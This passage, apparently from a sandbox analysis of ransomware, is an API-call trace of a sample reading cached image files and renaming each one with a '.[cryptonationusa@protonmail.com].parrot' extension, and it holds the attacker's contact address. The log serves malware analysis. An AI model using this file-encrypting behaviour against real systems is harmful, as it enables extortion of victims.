files\\low\\content.ie5\\abv8l7my\\bbc04we[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04we[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04we[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.270] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.270] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.270] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.272] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.272] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.273] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.274] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3200, lpOverlapped=0x0) returned 1 [0080.275] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.275] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.279] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.279] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.280] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.280] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7e1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7e1, lpOverlapped=0x0) returned 1 [0080.281] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.281] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[2].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[2].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.287] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.287] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.288] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.288] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1b4e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1b4e, lpOverlapped=0x0) returned 1 [0080.289] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.289] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0ATj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0atj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0ATj[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0atj[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.292] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.292] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.294] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.294] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x751, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x751, lpOverlapped=0x0) returned 1 [0080.294] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.294] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0D8i[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0d8i[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0D8i[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0d8i[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.297] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.297] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.299] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x200e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x200e, lpOverlapped=0x0) returned 1 [0080.300] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.300] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0g7a[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0g7a[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0g7a[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.303] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.303] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.305] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.305] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1dcb, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1dcb, lpOverlapped=0x0) returned 1 [0080.306] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.307] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0w1b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0w1b[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0w1b[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0w1b[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.309] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.310] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.312] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.312] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x23ba, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x23ba, lpOverlapped=0x0) returned 1 [0080.313] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.314] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0xLt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0xlt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0xLt[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0xlt[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.316] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.316] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.318] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.318] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb58, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xb58, lpOverlapped=0x0) returned 1 [0080.318] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.318] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBDWA22[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbdwa22[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBDWA22[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbdwa22[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.322] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.322] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.323] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.323] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x91d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x91d, lpOverlapped=0x0) returned 1 [0080.323] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.324] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE7d3b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe7d3b[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE7d3b[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe7d3b[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.325] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.327] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.327] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.328] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.328] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2850, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2850, lpOverlapped=0x0) returned 1 [0080.329] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.329] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE85ld[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe85ld[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE85ld[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe85ld[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.332] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.332] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.334] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x16ca, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x16ca, lpOverlapped=0x0) returned 1 [0080.334] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.335] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdckp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedckp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdckp[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedckp[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.337] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.338] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.339] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xafe, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xafe, lpOverlapped=0x0) returned 1 [0080.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.340] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdMci[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedmci[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdMci[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 